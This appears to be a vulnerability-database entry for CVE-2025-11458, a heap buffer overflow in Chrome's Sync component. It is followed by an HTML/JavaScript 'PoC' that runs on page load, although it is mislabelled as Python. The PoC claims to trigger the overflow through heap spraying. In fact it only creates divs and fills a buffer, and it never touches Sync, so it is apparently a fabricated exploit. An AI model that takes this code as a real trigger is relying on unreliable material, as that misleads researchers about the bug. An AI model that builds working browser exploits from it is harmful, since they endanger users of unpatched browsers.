Heap buffer overflow in Sync in Google Chrome prior to 141.0.7390.65 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 141.0.7390.65
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-11458 PoC - Heap Buffer Overflow in Google Chrome Sync
// This PoC demonstrates the vulnerability trigger mechanism
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-11458 PoC</title>
</head>
<body>
<h1>CVE-2025-11458 - Chrome Sync Heap Buffer Overflow</h1>
<p>Vulnerable versions: Google Chrome < 141.0.7390.65</p>
<script>
// Trigger mechanism for Sync component buffer overflow
// This triggers the vulnerability in Chrome Sync functionality
function triggerVulnerability() {
// Attempt to trigger sync with malformed data
// The actual exploitation requires specific heap grooming
const payload = 'A'.repeat(65536); // Large payload to trigger overflow
// Create conditions for heap spray and overflow
for (let i = 0; i < 100; i++) {
const element = document.createElement('div');
element.id = 'spray_' + i;
document.body.appendChild(element);
}
// Trigger sync with crafted data
try {
// This simulates the data handling that leads to overflow
const data = new ArrayBuffer(1024 * 1024); // 1MB buffer
const view = new Uint8Array(data);
view.fill(0x41); // Fill with 'A'
// Force garbage collection if available
if (window.gc) window.gc();
} catch (e) {
console.log('Error: ' + e.message);
}
}
// Execute on page load
window.onload = function() {
setTimeout(triggerVulnerability, 1000);
};
</script>
</body>
</html>